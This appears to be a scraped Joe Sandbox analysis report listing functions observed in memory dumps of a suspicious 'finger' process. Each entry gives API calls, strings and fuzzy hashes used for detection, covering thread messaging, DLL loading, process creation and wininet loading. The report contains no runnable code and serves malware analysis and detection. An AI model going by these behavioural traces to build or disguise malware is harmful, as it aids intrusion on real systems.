Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f80d497db28b74d7f86a7f84a3b5b7a11d10be3e0f523b04935d9fd330fa834c
Instruction ID: ef3dfbe931edf5a2c55f4da43b569f33f4ba8e58d498295d9491ec8ba08ab6c2
Opcode Fuzzy Hash: f80d497db28b74d7f86a7f84a3b5b7a11d10be3e0f523b04935d9fd330fa834c
Instruction Fuzzy Hash: A490026170280403E140B1DCA4186064445D7F1301F55D011E0414554CDA1589565222

Function 03092DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092DDA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a5e470e6fe859458566f7659fa5179eaab2668b562e3a2124ff735d5da1b8e75
Instruction ID: 5aeaacb22e8e0644ebead491f1955a90625cc573b66eecf6cc2ceab0c370a44b
Opcode Fuzzy Hash: a5e470e6fe859458566f7659fa5179eaab2668b562e3a2124ff735d5da1b8e75
Instruction Fuzzy Hash: 9A900261743845526545F1DC9404507444697F0241795C012A1414950C86269956D621

Function 03092DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092DFA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2818c24d186168eb06f922f8048b11f332e1b49866f53eee6118344d471f0b31
Instruction ID: 7a3736e5fe267c2cf53097445167e01d99a8f4116be404d4027009868a4d34e4
Opcode Fuzzy Hash: 2818c24d186168eb06f922f8048b11f332e1b49866f53eee6118344d471f0b31
Instruction Fuzzy Hash: 9890027170280813E111B1DC9504707044987E0241F95C412A0424558D97568A52A121

Function 03092C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092C6A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d9821243f2bcf7a32e493de189da691a367ceaa77226b4f2bcd8e0eda67d548d
Instruction ID: 50eec82a118d61bae563cff32cefb99f6176c8071bad8d311a6af2f7c31e3b6c
Opcode Fuzzy Hash: d9821243f2bcf7a32e493de189da691a367ceaa77226b4f2bcd8e0eda67d548d
Instruction Fuzzy Hash: DF90027170280C42E100B1DC9404B46044587F0301F55C016A0124654D8715C9517521

Function 03092C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092C7A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc0f2bd64417e52702d1b0f8dd37cc0ab5f196aa58fc1c6671b4b7f0997cd9af
Instruction ID: 9a5816b7c678b3034c470dba0753e2f0a46bb48daf06bc209f3eeb31dc14dd23
Opcode Fuzzy Hash: bc0f2bd64417e52702d1b0f8dd37cc0ab5f196aa58fc1c6671b4b7f0997cd9af
Instruction Fuzzy Hash: 6090027170288C02E110B1DCD40474A044587E0301F59C411A4424658D879589917121

Function 03092CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092CAA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a0926e44e6e3f4f3e5031c20fac1ca67482fc602e1020517ef780fb9b51f0ea3
Instruction ID: 265e569b1773dc63d71095544e6c140b62899a2c3bc4c00dba03998acfb90b71
Opcode Fuzzy Hash: a0926e44e6e3f4f3e5031c20fac1ca67482fc602e1020517ef780fb9b51f0ea3
Instruction Fuzzy Hash: 1C90027170280802E100B5DCA408646044587F0301F55D011A5024555EC76589916131

Function 030935C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 030935CA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5a85138660e37d53e532ad1a9b02cc808d2199b75fe3813e6ba0aad2573319f3
Instruction ID: 6ad42aa000f2681dfa977bb9d7ba1e4d17d711317d9ebf10dbb325cf126be43f
Opcode Fuzzy Hash: 5a85138660e37d53e532ad1a9b02cc808d2199b75fe3813e6ba0aad2573319f3
Instruction Fuzzy Hash: 17900271B0690802E100B1DC9514706144587E0201F65C411A0424568D87958A5165A2

Function 030939B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 030939BA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 60c6f9eed8087329f1fce075c7077176b926141769162f8251ad42c64ec6d8c0
Instruction ID: 936dae6fb24fe1fcc8ca9ba6363eb2bbb6900730203969cbff89b6303f5911db
Opcode Fuzzy Hash: 60c6f9eed8087329f1fce075c7077176b926141769162f8251ad42c64ec6d8c0
Instruction Fuzzy Hash: A690026174685502E150B1DC94046164445A7F0201F55C021A0814594D865589556221

Function 02880F5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 02880FED

Strings

40F193-3PQ, xrefs: 02880FF4, 02880FF7
40F193-3PQ, xrefs: 02880FE0, 02880FEC, 02880FFD

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: 62ac509af513badd59f52ff932e67a1d51426ef96a03da2f40b57a8547a2cddc
Instruction ID: 80946892962672d74ccc0aed76df9e49341f8b3413a6f5d02d2f4c784d3c6bbd
Opcode Fuzzy Hash: 62ac509af513badd59f52ff932e67a1d51426ef96a03da2f40b57a8547a2cddc
Instruction Fuzzy Hash: FF01893AE00248B6EF10A694AC41FEEB76C8F41B50F048155FA08FB280DA7559038BD6

Function 02880F69 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 02880FED

Strings

40F193-3PQ, xrefs: 02880FF4, 02880FF7
40F193-3PQ, xrefs: 02880FE0, 02880FEC, 02880FFD

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: 97573ca473f30ff0083e82b3b7025720e141c8b42e374edf9a4bd21b38e2e68e
Instruction ID: 59e7426519021ef7f0cde4b8b6621e464e6b98d477ecad1067a5ec9ad04a3241
Opcode Fuzzy Hash: 97573ca473f30ff0083e82b3b7025720e141c8b42e374edf9a4bd21b38e2e68e
Instruction Fuzzy Hash: 6A11DB39E40358B6EF21A6948C45FDF7B7C9F41B94F148055FA08FB2C0D6B46A068BE6

Function 02880F70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 02880FED

Strings

40F193-3PQ, xrefs: 02880FF4, 02880FF7
40F193-3PQ, xrefs: 02880FE0, 02880FEC, 02880FFD

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: 5b2c7bf13fbc1386b4dce6a31997c1ee6d6986f9ba4028ad4039b86e24a1e116
Instruction ID: f0c9e155fd54571b7ab74f0156f522ce53375085daf9e4a50ecbbf5df4c92ab3
Opcode Fuzzy Hash: 5b2c7bf13fbc1386b4dce6a31997c1ee6d6986f9ba4028ad4039b86e24a1e116
Instruction Fuzzy Hash: B601D63AD40358B6EF21A6948C41FDFBB7C9F41B94F148055FA08BB280D6B466068BE6

Function 02893C80 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 107sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02893D4D

Strings

wininet.dll, xrefs: 02893CEE, 02893CFA
net.dll, xrefs: 02893D17, 02893D98, 02893D78, 02893D84, 02893DA4

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 9685e4fba9fc834a698779fa1371a8dd9465bdcaa9f451465d72ec142213eb0f
Instruction ID: 30e3f9d298b2e9045613aef07ee60683e1a7d4b2e29632db202999c6716c057c
Opcode Fuzzy Hash: 9685e4fba9fc834a698779fa1371a8dd9465bdcaa9f451465d72ec142213eb0f
Instruction Fuzzy Hash: 893150B9A01305BBDB14DF68D880FEAB7B9FB84714F04815CF659AB244D774BA00CBA5

Function 0288F6FD Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0288F717
CoUninitialize.COMBASE ref: 0288F7FE

Strings

@J7<, xrefs: 0288F72B

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: 9c88c4023dbabb63ce3517aee62a2f75d88881334ea293935199495fb9da40bb
Instruction ID: f219621401fd03d9b582b1bf43f2f070846bcb08eb7e97cdf9992979d20c83a6
Opcode Fuzzy Hash: 9c88c4023dbabb63ce3517aee62a2f75d88881334ea293935199495fb9da40bb
Instruction Fuzzy Hash: 4C3132B9A0060A9FDF10EFD8D8809EEB7B9FF88304B108559E615E7214D775EE45CBA0

Function 0288F700 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0288F717
CoUninitialize.COMBASE ref: 0288F7FE

Strings

@J7<, xrefs: 0288F72B

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: b93f0931f0eea652ec0d38269af57df06c3462037f8469147fee7db7124a2835
Instruction ID: b1506c9d27848086a23f9ed53211db8db5ba442f3b0a12719d2adb6332e10ad1
Opcode Fuzzy Hash: b93f0931f0eea652ec0d38269af57df06c3462037f8469147fee7db7124a2835
Instruction Fuzzy Hash: C23133B9A0060A9FDB00EFD8D8809EFB7B9FF88304B508559E615E7214D775EE05CBA0

Function 02884838 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02884772

Strings

&cE}, xrefs: 02884814

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: Load
String ID: &cE}
API String ID: 2234796835-1295445062
Opcode ID: a2d3d48aabd28925619e736efd6220602dd56ff2303de9b8373dd2c8badc9a7f
Instruction ID: 8e33b3fda170057921ae6355e944ae1370f105225ef3bfa7c7c089e38446dd8c
Opcode Fuzzy Hash: a2d3d48aabd28925619e736efd6220602dd56ff2303de9b8373dd2c8badc9a7f
Instruction Fuzzy Hash: ED31A67FB4428AABDB15EF78CC42BAA77A8EB41744F4801DCE809CB046E7309514CB91

Function 02884700 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02884772

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 56521a4f42ae9fa4dd1f48ddcc66fa5ad703c4b222d6c0bc46afaba39208bf64
Instruction ID: fb3dfa36f0754cecc0d6f5cd635d1bd748fbd7dc722c491860e728f82b903cd1
Opcode Fuzzy Hash: 56521a4f42ae9fa4dd1f48ddcc66fa5ad703c4b222d6c0bc46afaba39208bf64
Instruction Fuzzy Hash: 76011EBED4020EABDF10EBE4DC41FADB3B99B44708F5441A5A90DD7280F631E7148B92

Function 02899A00 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,00000000,?,028884CE,00000010,?,?,?,00000044,?,00000010,028884CE,?,00000000,?), ref: 02899A60

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 3473fbc84f5de4e9ef638430524f151b17afe93dbc7687943e0913540f186df8
Instruction ID: 03d52f1b8a51b3c2da7bf3397a162e934b266501e0500e2de3f2c49e43e9cb16
Opcode Fuzzy Hash: 3473fbc84f5de4e9ef638430524f151b17afe93dbc7687943e0913540f186df8
Instruction Fuzzy Hash: 500180B6215108BBDB48DE99DC85EDB77AEAF8C754F448218BA0DE3240D630F9518BA4

Function 02879EC0 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02879F05

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: db92189fec3a812eea8a9a67e111a15204625a2f2668b3669d1839d2361ad85c
Instruction ID: 150b541b3b6f32638164a1ab9d951a1038e5b8ad7b0d0e128cef8a850cdeca4a
Opcode Fuzzy Hash: db92189fec3a812eea8a9a67e111a15204625a2f2668b3669d1839d2361ad85c
Instruction Fuzzy Hash: A8F0653B38030436E62065AD9C02FDB765DCB84765F180025F70CDA1C0E5A6B40146E5

Function 02879EBC Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02879F05

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: eb2a8d7799c11fcc7e0d595a5d483ba23fad3cd631e5b665474ae8614d04f02a
Instruction ID: ee686121854e960578ee8a8b6139b726e50ce4f02c62bbcf13c2093bf7cb450a
Opcode Fuzzy Hash: eb2a8d7799c11fcc7e0d595a5d483ba23fad3cd631e5b665474ae8614d04f02a
Instruction Fuzzy Hash: 54F0657A24030036E631669A8C06FDB765DCFC5B50F140019F70CDA1C0D9A6B40086F5

Function 02899980 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,F84D8BFF,00000007,00000000,00000004,00000000,02883F8F,000000F4), ref: 028999B9

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 24838165d5d3598a3ea7bb2b05c3706a31ee61b17379b23aec4e324c29ae2178
Instruction ID: 19abf3a1c91ba64da4a6318c96964fac53cee0e2c5182feb76970a5a7c1c4ca0
Opcode Fuzzy Hash: 24838165d5d3598a3ea7bb2b05c3706a31ee61b17379b23aec4e324c29ae2178
Instruction Fuzzy Hash: 16E065BA200204BBDA14EF59DC45EAB37AEEF89710F008018F909A7241C670B8118BB5

Function 02899940 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02881C06,?,0289587B,02881C06,0289586F,0289587B,?,02881C06,0289586F,00001000,?,?,00000000), ref: 02899979

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dd039b19f67d4f101c1c83f73f2c4a615ab43ac305152a862787506efeb51d13
Instruction ID: b2e7da6d2a3bb6a162318a6bd5d0b68164de215971bf2265cff96954feee8345
Opcode Fuzzy Hash: dd039b19f67d4f101c1c83f73f2c4a615ab43ac305152a862787506efeb51d13
Instruction Fuzzy Hash: 2EE0657A2042047BDA14EE69EC45E9B37AEEFC9710F008019F908A7240DA31B8518BB5

Function 02888510 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000002,000016A8,?,000004D8,00000000), ref: 0288853C

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 78caaeef33826840504e2043f515a6604d6ca5fe9c1b0a4c19f806850eb8d1c5
Instruction ID: 797ed09261f281b22e90921aed06fa2ef861efc7109d2f3996253658dd3e6d51
Opcode Fuzzy Hash: 78caaeef33826840504e2043f515a6604d6ca5fe9c1b0a4c19f806850eb8d1c5
Instruction Fuzzy Hash: 1BE086BD29030827EB247BA8DC45F66339DAB48738F584660B91DDB2C1E678FA414150

Function 0288850D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000002,000016A8,?,000004D8,00000000), ref: 0288853C

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7b8680feeee384a9cde1c08f30642674778f21929240871f497dd4e73621c6e0
Instruction ID: 6b766fdcbad5595304aaddf068e6c3c2dd9815fab6c899fed3198cbe14c9e581
Opcode Fuzzy Hash: 7b8680feeee384a9cde1c08f30642674778f21929240871f497dd4e73621c6e0
Instruction Fuzzy Hash: DBE026FE48030827EB2037689E467AA32596B00338F2C0A64F82DDB1C3E23CD2824224

Function 02888300 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,02881EF0,028981AF,0289586F,02881EC0), ref: 02888333

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 47f843362389e76ecdee1559b75256e8c3984728e288a0686686b97d3bef1785
Instruction ID: 1e0275e60689a96fd631bd4ea9b7a976f4eb9209ea2b8b96dda00011a5aa4b5f
Opcode Fuzzy Hash: 47f843362389e76ecdee1559b75256e8c3984728e288a0686686b97d3bef1785
Instruction Fuzzy Hash: 1CD05E793443063BEE00B6E8DC4AF5A328D8B00798F090074BA0CDA2C1E968F5004766

Function 03092C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092C24

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2bcb19666ee307c38e3defe088030996553f94cde5ce27ce4e7ba745eec5c2ce
Instruction ID: 1b44982ae9062c7d80fa020e90303db859e69f63c1198453c4fe8d641b5b1eb0
Opcode Fuzzy Hash: 2bcb19666ee307c38e3defe088030996553f94cde5ce27ce4e7ba745eec5c2ce
Instruction Fuzzy Hash: 2AB09BB1D079C9D5FE51E7A456087177D4467D0701F19C462D2030651F4739D1D1F175

Non-executed Functions

Function 02F704BE Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3579534381.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2f70000_finger.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa4e9dff2f25cf6ba25235a48aeeac25dcf03243747be0d05e8712814ae51cb3
Instruction ID: c99130e307e22990fc48d1038e1324876e7f52c04dd11a21dc30b1c49a8fe4d3
Opcode Fuzzy Hash: fa4e9dff2f25cf6ba25235a48aeeac25dcf03243747be0d05e8712814ae51cb3
Instruction Fuzzy Hash: A541E671A1CB0D4FD368EF68948167AF3E2FF45350F50062EDA8AC7352EB70E8468685

Function 0287E3A1 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0865ff5424ecf9e77f91489767588841e59a8d48a04142e8af4d6f55970ecbfe
Instruction ID: d3d539581343e5142ad3ad3cf6bc3a0fcff224ea494eead0084f88fe096c1baf
Opcode Fuzzy Hash: 0865ff5424ecf9e77f91489767588841e59a8d48a04142e8af4d6f55970ecbfe
Instruction Fuzzy Hash: CCC08033E6041591D3148D5CFC817F0F3E4D797325F047356D514D3144C11AF45146D6

Function 02F7E039 Relevance: 56.5, Strings: 45, Instructions: 217COMMON

Download Yara Rule

Strings

@@@@, xrefs: 02F7E0CF
@@@@, xrefs: 02F7E15B
@@@@, xrefs: 02F7E21F
@@@@, xrefs: 02F7E107
<=@@, xrefs: 02F7E0C8
@@@@, xrefs: 02F7E20A
!"#$, xrefs: 02F7E11C
@@@@, xrefs: 02F7E185
@@@@, xrefs: 02F7E203
@@@@, xrefs: 02F7E193
@@@@, xrefs: 02F7E1CB
89:;, xrefs: 02F7E0C1
@@@@, xrefs: 02F7E1E7
@@@@, xrefs: 02F7E1E0
@@@@, xrefs: 02F7E13F
@@@@, xrefs: 02F7E1C4
@@@@, xrefs: 02F7E169
%&'(, xrefs: 02F7E123
@@@@, xrefs: 02F7E1AF
@@@@, xrefs: 02F7E1B6
@@@@, xrefs: 02F7E1BD
@@@@, xrefs: 02F7E18C
@@@@, xrefs: 02F7E146
@@@@, xrefs: 02F7E154
@@@@, xrefs: 02F7E1F5
@@@@, xrefs: 02F7E1A1
@@@@, xrefs: 02F7E1D9
123@, xrefs: 02F7E138
@@@@, xrefs: 02F7E1D2
?, xrefs: 02F7E230
@@@@, xrefs: 02F7E170
@@@@, xrefs: 02F7E1EE
@@@@, xrefs: 02F7E1FC
@@@@, xrefs: 02F7E19A
@@@?, xrefs: 02F7E0B3
@@@@, xrefs: 02F7E218
)*+,, xrefs: 02F7E12A
@@@@, xrefs: 02F7E162
-./0, xrefs: 02F7E131
@@@@, xrefs: 02F7E177
